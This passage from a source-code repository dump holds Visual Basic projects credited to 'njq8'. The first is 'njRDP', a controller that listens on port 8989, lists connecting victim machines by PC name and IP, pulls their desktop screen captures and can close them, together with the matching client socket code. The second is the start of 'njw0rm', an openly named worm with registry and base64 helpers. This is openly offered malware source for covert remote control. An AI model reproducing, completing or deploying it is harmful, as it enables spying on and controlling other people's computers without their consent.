defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.Client.My.MySettings 68 | Get 69 | Return Global.Client.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /njRDP/Client/Client/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /njRDP/Client/Client/SocketClient.vb: -------------------------------------------------------------------------------- 1 | Imports System.Net 2 | Imports System.Net.Sockets 3 | Public Class SocketClient 4 | Private C As TcpClient 5 | Public Event Connected() 6 | Public Event Disconnected() 7 | Public Event Data(ByVal b As Byte()) 8 | Private IsBuzy As Boolean = False 9 | Sub Connect(ByVal h As String, ByVal p As Integer) 10 | Try 11 | Try 12 | If C IsNot Nothing Then 13 | C.Close() 14 | C = Nothing 15 | End If 16 | Catch ex As Exception 17 | End Try 18 | Do Until IsBuzy = False 19 | Threading.Thread.CurrentThread.Sleep(1) 20 | Loop 21 | C = New TcpClient 22 | C.Connect(h, p) 23 | Dim t As New Threading.Thread(AddressOf RC, 10) 24 | t.Start() 25 | RaiseEvent Connected() 26 | Catch ex As Exception 27 | RaiseEvent Disconnected() 28 | End Try 29 | End Sub 30 | Private SPL As String = "nj-q8" ' split packets by this word 31 | Sub DisConnect() 32 | Try 33 | C.Close() 34 | Catch ex As Exception 35 | End Try 36 | C = Nothing 37 | RaiseEvent Disconnected() 38 | End Sub 39 | Sub Send(ByVal s As String) 40 | Send(SB(s)) 41 | End Sub 42 | Sub Send(ByVal b As Byte()) 43 | Try 44 | Dim m As New IO.MemoryStream 45 | m.Write(b, 0, b.Length) 46 | m.Write(SB(SPL), 0, SPL.Length) 47 | C.Client.Send(m.ToArray, 0, m.Length, SocketFlags.None) 48 | Catch ex As Exception 49 | DisConnect() 50 | End Try 51 | End Sub 52 | Private Sub RC() 53 | IsBuzy = True 54 | Dim M As New IO.MemoryStream 55 | Dim cc As Integer = 0 56 | re: 57 | Threading.Thread.CurrentThread.Sleep(1) 58 | 59 | Try 60 | If C Is Nothing Then 61 | GoTo co 62 | Else 63 | If C.Client.Connected = False Then 64 | GoTo co 65 | Else 66 | cc += 1 67 | If cc > 100 Then 68 | cc = 0 69 | Try 70 | If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then 71 | GoTo co 72 | End If 73 | Catch ex As Exception 74 | GoTo co 75 | End Try 76 | End If 77 | 78 | End If 79 | End If 80 | If C.Available > 0 Then 81 | Dim B(C.Available - 1) As Byte 82 | C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) 83 | M.Write(B, 0, B.Length) 84 | rr: 85 | If BS(M.ToArray).Contains(SPL) Then 86 | Dim A As Array = fx(M.ToArray, SPL) 87 | RaiseEvent Data(A(0)) 88 | M.Dispose() 89 | M = New IO.MemoryStream 90 | If A.Length = 2 Then 91 | M.Write(A(1), 0, A(1).length) 92 | Threading.Thread.CurrentThread.Sleep(1) 93 | GoTo rr 94 | End If 95 | End If 96 | End If 97 | Catch ex As Exception 98 | GoTo co 99 | End Try 100 | GoTo re 101 | co: 102 | IsBuzy = False 103 | DisConnect() 104 | End Sub 105 | End Class 106 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual Studio 2008 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "RDP", "RDP\RDP.vbproj", "{09BE2BF7-8F82-4747-A87C-82A003F40A01}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {09BE2BF7-8F82-4747-A87C-82A003F40A01}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {09BE2BF7-8F82-4747-A87C-82A003F40A01}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {09BE2BF7-8F82-4747-A87C-82A003F40A01}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {09BE2BF7-8F82-4747-A87C-82A003F40A01}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/Form1.Designer.vb: -------------------------------------------------------------------------------- 1 |  _ 2 | Partial Class Form1 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container 26 | Me.L1 = New System.Windows.Forms.ListView 27 | Me.ColumnHeader1 = New System.Windows.Forms.ColumnHeader 28 | Me.ColumnHeader2 = New System.Windows.Forms.ColumnHeader 29 | Me.ContextMenuStrip1 = New System.Windows.Forms.ContextMenuStrip(Me.components) 30 | Me.RemoteDesktopToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem 31 | Me.CloseToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem 32 | Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem 33 | Me.ContextMenuStrip1.SuspendLayout() 34 | Me.SuspendLayout() 35 | ' 36 | 'L1 37 | ' 38 | Me.L1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {Me.ColumnHeader1, Me.ColumnHeader2}) 39 | Me.L1.ContextMenuStrip = Me.ContextMenuStrip1 40 | Me.L1.Dock = System.Windows.Forms.DockStyle.Fill 41 | Me.L1.FullRowSelect = True 42 | Me.L1.GridLines = True 43 | Me.L1.Location = New System.Drawing.Point(0, 0) 44 | Me.L1.Name = "L1" 45 | Me.L1.Size = New System.Drawing.Size(494, 253) 46 | Me.L1.TabIndex = 0 47 | Me.L1.UseCompatibleStateImageBehavior = False 48 | Me.L1.View = System.Windows.Forms.View.Details 49 | ' 50 | 'ColumnHeader1 51 | ' 52 | Me.ColumnHeader1.Text = "Pc/User" 53 | ' 54 | 'ColumnHeader2 55 | ' 56 | Me.ColumnHeader2.Text = "IP" 57 | ' 58 | 'ContextMenuStrip1 59 | ' 60 | Me.ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RemoteDesktopToolStripMenuItem, Me.CloseToolStripMenuItem, Me.AboutToolStripMenuItem}) 61 | Me.ContextMenuStrip1.Name = "ContextMenuStrip1" 62 | Me.ContextMenuStrip1.Size = New System.Drawing.Size(162, 70) 63 | ' 64 | 'RemoteDesktopToolStripMenuItem 65 | ' 66 | Me.RemoteDesktopToolStripMenuItem.Name = "RemoteDesktopToolStripMenuItem" 67 | Me.RemoteDesktopToolStripMenuItem.Size = New System.Drawing.Size(161, 22) 68 | Me.RemoteDesktopToolStripMenuItem.Text = "Remote Desktop" 69 | ' 70 | 'CloseToolStripMenuItem 71 | ' 72 | Me.CloseToolStripMenuItem.Name = "CloseToolStripMenuItem" 73 | Me.CloseToolStripMenuItem.Size = New System.Drawing.Size(161, 22) 74 | Me.CloseToolStripMenuItem.Text = "Close Client" 75 | ' 76 | 'AboutToolStripMenuItem 77 | ' 78 | Me.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem" 79 | Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(161, 22) 80 | Me.AboutToolStripMenuItem.Text = "About" 81 | ' 82 | 'Form1 83 | ' 84 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 85 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 86 | Me.ClientSize = New System.Drawing.Size(494, 253) 87 | Me.Controls.Add(Me.L1) 88 | Me.Name = "Form1" 89 | Me.Text = "RDP" 90 | Me.ContextMenuStrip1.ResumeLayout(False) 91 | Me.ResumeLayout(False) 92 | 93 | End Sub 94 | Friend WithEvents L1 As System.Windows.Forms.ListView 95 | Friend WithEvents ColumnHeader1 As System.Windows.Forms.ColumnHeader 96 | Friend WithEvents ColumnHeader2 As System.Windows.Forms.ColumnHeader 97 | Friend WithEvents ContextMenuStrip1 As System.Windows.Forms.ContextMenuStrip 98 | Friend WithEvents RemoteDesktopToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem 99 | Friend WithEvents CloseToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem 100 | Friend WithEvents AboutToolStripMenuItem As System.Windows.Forms.ToolStripMenuItem 101 | 102 | End Class 103 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/Form1.vb: -------------------------------------------------------------------------------- 1 | Public Class Form1 2 | Public WithEvents S As New SocketServer 3 | Public Yy As String = "\nJ\." 4 | 5 | Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing 6 | End 7 | End Sub 8 | Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 9 | Control.CheckForIllegalCrossThreadCalls = False 10 | S.Start(8989) 11 | End Sub 12 | #Region "Server Events" 13 | Sub Disconnect(ByVal sock As Integer) Handles S.DisConnected 14 | Me.Text = "nJ-RDP ,Clients{x}".Replace("x", S.Online.Count) 15 | Try 16 | L1.Items(sock.ToString).Remove() 17 | Catch ex As Exception 18 | End Try 19 | End Sub 20 | Sub Connected(ByVal sock As Integer) Handles S.Connected 21 | Me.Text = "nJ-RDP ,Clients{x}".Replace("x", S.Online.Count) 22 | S.Send(sock, "~") ' i ask him to send me PC name 23 | End Sub 24 | Delegate Sub _Data(ByVal sock As Integer, ByVal B As Byte()) 25 | Sub Data(ByVal sock As Integer, ByVal B As Byte()) Handles S.Data 26 | Dim T As String = BS(B) 27 | Dim A As String() = Split(T, Yy) 28 | Try 29 | Select Case A(0) 30 | Case "~" ' Client Sent me PC name 31 | Dim L = L1.Items.Add(sock.ToString, A(1), 0) 32 | L.SubItems.Add(S.IP(sock)) 33 | L.ToolTipText = sock 34 | Case "!" ' i recive size of client screen 35 | ' lets start Cap form and start capture desktop 36 | If My.Application.OpenForms("!" & sock) IsNot Nothing Then Exit Sub 37 | If Me.InvokeRequired Then 38 | Dim j As New _Data(AddressOf Data) 39 | Me.Invoke(j, New Object() {sock, B}) 40 | Exit Sub 41 | End If 42 | Dim cap As New Cap 43 | cap.F = Me 44 | cap.Sock = sock 45 | cap.Name = "!" & sock 46 | cap.Sz = New Size(A(1), A(2)) 47 | cap.Show() 48 | Case "@" ' i recive image 49 | Dim F As Cap = My.Application.OpenForms("!" & sock) 50 | If F IsNot Nothing Then 51 | If A(1).Length = 1 Then 52 | F.Text = "Size: " & siz(B.Length) & " ,No Changes" 53 | If F.Button1.Text = "Stop" Then 54 | S.Send(sock, "@" & Yy & F.C1.SelectedIndex & Yy & F.C2.Text & Yy & F.C.Value) 55 | End If 56 | Exit Sub 57 | End If 58 | Dim BB As Byte() = fx(B, "@" & Yy)(1) 59 | F.PktToImage(BB) 60 | End If 61 | 62 | End Select 63 | Catch ex As Exception 64 | MsgBox(ex.Message) 65 | End Try 66 | 67 | End Sub 68 | #End Region 69 | Private Sub RemoteDesktopToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RemoteDesktopToolStripMenuItem.Click 70 | For Each x As ListViewItem In L1.SelectedItems 71 | S.Send(x.ToolTipText, "!") 72 | Next 73 | End Sub 74 | 75 | Private Sub L1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles L1.SelectedIndexChanged 76 | 77 | End Sub 78 | 79 | Private Sub CloseToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CloseToolStripMenuItem.Click 80 | For Each x As ListViewItem In L1.SelectedItems 81 | S.Send(x.ToolTipText, "close") 82 | Next 83 | End Sub 84 | 85 | Private Sub AboutToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AboutToolStripMenuItem.Click 86 | MsgBox("Coded by: njq8" & vbNewLine & "Moded By:???") 87 | End Sub 88 | End Class 89 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/Func.vb: -------------------------------------------------------------------------------- 1 | Module Func 2 | Public Function siz(ByVal Size As String) As String 3 | If Size.Length < 4 Then 4 | Return Size & " Bytes" 5 | Exit Function 6 | End If 7 | Dim s As String = Size / 1024 8 | Dim F As String = " KB" 9 | Dim ss As Integer 10 | If InStr(s, ".") > 0 Then 11 | Dim j As Array = Split(s, ".") 12 | s = j(0) 13 | If j(1).ToString.Length > 3 Then 14 | ss = Mid(j(1), 1, 3) 15 | Else 16 | ss = j(1) 17 | End If 18 | End If 19 | If s.Length > 3 Then 20 | s = s / 1024 21 | F = " MB" 22 | If InStr(s, ".") > 0 Then 23 | Dim j As Array = Split(s, ".") 24 | s = j(0) 25 | If j(1).ToString.Length > 3 Then 26 | ss = Mid(j(1), 1, 3) 27 | Else 28 | ss = j(1) 29 | End If 30 | End If 31 | End If 32 | If s.Length > 3 Then 33 | s = s / 1024 34 | F = " GB" 35 | If InStr(s, ".") > 0 Then 36 | Dim j As Array = Split(s, ".") 37 | s = j(0) 38 | If j(1).ToString.Length > 3 Then 39 | ss = Mid(j(1), 1, 3) 40 | Else 41 | ss = j(1) 42 | End If 43 | End If 44 | End If 45 | Return s & "." & ss & F 46 | End Function 47 | Function SB(ByVal s As String) As Byte() ' string to byte() 48 | Return System.Text.Encoding.Default.GetBytes(s) 49 | End Function 50 | Function BS(ByVal b As Byte()) As String ' byte() to string 51 | Return System.Text.Encoding.Default.GetString(b) 52 | End Function 53 | Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word 54 | Dim a As New List(Of Byte()) 55 | Dim M As New IO.MemoryStream 56 | Dim MM As New IO.MemoryStream 57 | Dim T As String() = Split(BS(b), WRD) 58 | M.Write(b, 0, T(0).Length) 59 | MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) 60 | a.Add(M.ToArray) 61 | a.Add(MM.ToArray) 62 | M.Dispose() 63 | MM.Dispose() 64 | Return a.ToArray 65 | End Function 66 | End Module 67 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.RDP.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My.Resources 16 | 17 | 'This class was auto-generated by the StronglyTypedResourceBuilder 18 | 'class via a tool like ResGen or Visual Studio. 19 | 'To add or remove a member, edit your .ResX file then rerun ResGen 20 | 'with the /str option, or rebuild your VS project. 21 | ' 22 | ' A strongly-typed resource class, for looking up localized strings, etc. 23 | ' 24 | _ 28 | Friend Module Resources 29 | 30 | Private resourceMan As Global.System.Resources.ResourceManager 31 | 32 | Private resourceCulture As Global.System.Globalization.CultureInfo 33 | 34 | ' 35 | ' Returns the cached ResourceManager instance used by this class. 36 | ' 37 | _ 38 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 39 | Get 40 | If Object.ReferenceEquals(resourceMan, Nothing) Then 41 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("RDP.Resources", GetType(Resources).Assembly) 42 | resourceMan = temp 43 | End If 44 | Return resourceMan 45 | End Get 46 | End Property 47 | 48 | ' 49 | ' Overrides the current thread's CurrentUICulture property for all 50 | ' resource lookups using this strongly typed resource class. 51 | ' 52 | _ 53 | Friend Property Culture() As Global.System.Globalization.CultureInfo 54 | Get 55 | Return resourceCulture 56 | End Get 57 | Set(ByVal value As Global.System.Globalization.CultureInfo) 58 | resourceCulture = value 59 | End Set 60 | End Property 61 | End Module 62 | End Namespace 63 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:2.0.50727.4961 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | End Class 57 | End Namespace 58 | 59 | Namespace My 60 | 61 | _ 64 | Friend Module MySettingsProperty 65 | 66 | _ 67 | Friend ReadOnly Property Settings() As Global.RDP.My.MySettings 68 | Get 69 | Return Global.RDP.My.MySettings.Default 70 | End Get 71 | End Property 72 | End Module 73 | End Namespace 74 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/My Project/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /njRDP/RDP/RDP/SocketServer.vb: -------------------------------------------------------------------------------- 1 | Imports System.Net 2 | Imports System.Net.Sockets 3 | Public Class SocketServer 4 | Private S As TcpListener 5 | Sub Start(ByVal P As Integer) 6 | S = New TcpListener(P) 7 | S.Start() 8 | Dim T As New Threading.Thread(AddressOf PND, 10) 9 | T.Start() 10 | End Sub 11 | Sub Send(ByVal sock As Integer, ByVal s As String) 12 | Send(sock, SB(s)) 13 | End Sub 14 | Sub Send(ByVal sock As Integer, ByVal b As Byte()) 15 | 16 | Try 17 | Dim m As New IO.MemoryStream 18 | m.Write(b, 0, b.Length) 19 | m.Write(SB(SPL), 0, SPL.Length) 20 | SK(sock).Send(m.ToArray, 0, m.Length, SocketFlags.None) 21 | m.Dispose() 22 | Catch ex As Exception 23 | Disconnect(sock) 24 | End Try 25 | End Sub 26 | Private SKT As Integer = -1 27 | Public SK(9999) As Socket 28 | Public Event Data(ByVal sock As Integer, ByVal B As Byte()) 29 | Public Event DisConnected(ByVal sock As Integer) 30 | Public Event Connected(ByVal sock As Integer) 31 | Private SPL As String = "nj-q8" ' split packets by this word 32 | Private Function NEWSKT() As Integer 33 | re: 34 | Threading.Thread.CurrentThread.Sleep(1) 35 | SKT += 1 36 | If SKT = SK.Length Then 37 | SKT = 0 38 | GoTo re 39 | End If 40 | If Online.Contains(SKT) = False Then 41 | Online.Add(SKT) 42 | Return SKT.ToString.Clone 43 | End If 44 | GoTo re 45 | End Function 46 | Public Online As New List(Of Integer) ' online clients 47 | Private Sub PND() 48 | ReDim SK(9999) 49 | re: 50 | Threading.Thread.CurrentThread.Sleep(1) 51 | If S.Pending Then 52 | 53 | Dim sock As Integer = NEWSKT() 54 | SK(sock) = S.AcceptSocket 55 | 56 | SK(sock).ReceiveBufferSize = 99999 57 | SK(sock).SendBufferSize = 99999 58 | SK(sock).ReceiveTimeout = 9000 59 | SK(sock).SendTimeout = 9000 60 | 61 | Dim t As New Threading.Thread(AddressOf RC, 10) 62 | t.Start(sock) 63 | 64 | RaiseEvent Connected(sock) 65 | End If 66 | GoTo re 67 | End Sub 68 | Public Sub Disconnect(ByVal Sock As Integer) 69 | 70 | Try 71 | SK(Sock).Disconnect(False) 72 | Catch ex As Exception 73 | End Try 74 | Try 75 | SK(Sock).Close() 76 | Catch ex As Exception 77 | End Try 78 | SK(Sock) = Nothing 79 | End Sub 80 | Sub RC(ByVal sock As Integer) 81 | 82 | Dim M As New IO.MemoryStream 83 | Dim cc As Integer = 0 84 | 85 | re: 86 | 87 | cc += 1 88 | If cc = 500 Then 89 | Try 90 | If SK(sock).Poll(-1, Net.Sockets.SelectMode.SelectRead) And SK(sock).Available <= 0 Then 91 | GoTo e 92 | End If 93 | Catch ex As Exception 94 | GoTo e 95 | End Try 96 | cc = 0 97 | End If 98 | Try 99 | If SK(sock) IsNot Nothing Then 100 | 101 | If SK(sock).Connected Then 102 | If SK(sock).Available > 0 Then 103 | Dim B(SK(sock).Available - 1) As Byte 104 | SK(sock).Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) 105 | M.Write(B, 0, B.Length) 106 | rr: 107 | If BS(M.ToArray).Contains(SPL) Then 108 | Dim A As Array = fx(M.ToArray, SPL) 109 | RaiseEvent Data(sock, A(0)) 110 | M.Dispose() 111 | M = New IO.MemoryStream 112 | If A.Length = 2 Then 113 | M.Write(A(1), 0, A(1).length) 114 | Threading.Thread.CurrentThread.Sleep(1) 115 | GoTo rr 116 | End If 117 | End If 118 | 119 | End If 120 | Else 121 | GoTo e 122 | End If 123 | Else 124 | GoTo e 125 | End If 126 | Catch ex As Exception 127 | GoTo e 128 | End Try 129 | Threading.Thread.CurrentThread.Sleep(1) 130 | GoTo re 131 | e: 132 | Disconnect(sock) 133 | Try 134 | Online.Remove(sock) 135 | Catch ex As Exception 136 | End Try 137 | RaiseEvent DisConnected(sock) 138 | End Sub 139 | Private oIP(9999) As String 140 | Public Function IP(ByRef sock As Integer) As String 141 | Try 142 | oIP(sock) = Split(SK(sock).RemoteEndPoint.ToString(), ":")(0) 143 | Return oIP(sock) 144 | Catch ex As Exception 145 | If oIP(sock) Is Nothing Then 146 | Return "X.X.X.X" 147 | Else 148 | Return oIP(sock) 149 | End If 150 | End Try 151 | End Function 152 | End Class 153 | -------------------------------------------------------------------------------- /njWorm/njw0rm.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2012 4 | Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "njw0rm", "njw0rm\njw0rm.vbproj", "{615FE698-AB54-41F7-8221-AE592564EAED}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Any CPU = Debug|Any CPU 9 | Release|Any CPU = Release|Any CPU 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {615FE698-AB54-41F7-8221-AE592564EAED}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 13 | {615FE698-AB54-41F7-8221-AE592564EAED}.Debug|Any CPU.Build.0 = Debug|Any CPU 14 | {615FE698-AB54-41F7-8221-AE592564EAED}.Release|Any CPU.ActiveCfg = Release|Any CPU 15 | {615FE698-AB54-41F7-8221-AE592564EAED}.Release|Any CPU.Build.0 = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /njWorm/njw0rm/About.vb: -------------------------------------------------------------------------------- 1 | Public Class About 2 | 3 | Private Sub About_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 4 | Me.Icon = F.Icon 5 | End Sub 6 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 7 | Dim myExe As String = Application.StartupPath & "\About.exe" 8 | If Not System.IO.File.Exists(myExe) Then 9 | System.IO.File.WriteAllBytes(myExe, My.Resources.About) 10 | End If 11 | Process.Start(myExe) 12 | End Sub 13 | 14 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 15 | Process.Start("https://twitter.com/njq8") 16 | End Sub 17 | End Class -------------------------------------------------------------------------------- /njWorm/njw0rm/FN.vb: -------------------------------------------------------------------------------- 1 |  2 | Module FN 3 | Public F As Form1 4 | Public Function GTV(ByVal name As String, ByVal df As String) As String 5 | Return My.Computer.Registry.GetValue("HKEY_CURRENT_USER\Software\njw0rm v0.3.3", name, df) 6 | End Function 7 | Public Sub STV(ByVal name As String, ByVal value As String) 8 | My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\njw0rm v0.3.3", name, value) 9 | End Sub 10 | Function RN(ByVal c As Integer) As String 11 | Randomize() 12 | Dim r As New Random 13 | Dim s As String = "" 14 | Dim k As String = "abcdefghijklmnopqrstuvwxyz" 15 | For i As Integer = 1 To c 16 | s += k(r.Next(0, k.Length)) 17 | Next 18 | Return s 19 | End Function 20 | Public Function SB(ByRef S As String) As Byte() 21 | Return System.Text.Encoding.Default.GetBytes(S) 22 | End Function 23 | Public Function BS(ByRef B As Byte()) As String 24 | Return System.Text.Encoding.Default.GetString(B) 25 | End Function 26 | Public Function HM() As String 27 | Return My.Computer.Clock.LocalTime.ToString("[hh:mm:ss]") 28 | End Function 29 | Public Function ENB(ByRef s As String) As String 30 | Return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(s)) 31 | End Function 32 | Public Function DEB(ByRef s As String) As String 33 | Return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(s)) 34 | End Function 35 | End Module 36 | -------------------------------------------------------------------------------- /njWorm/njw0rm/FURL.designer.vb: 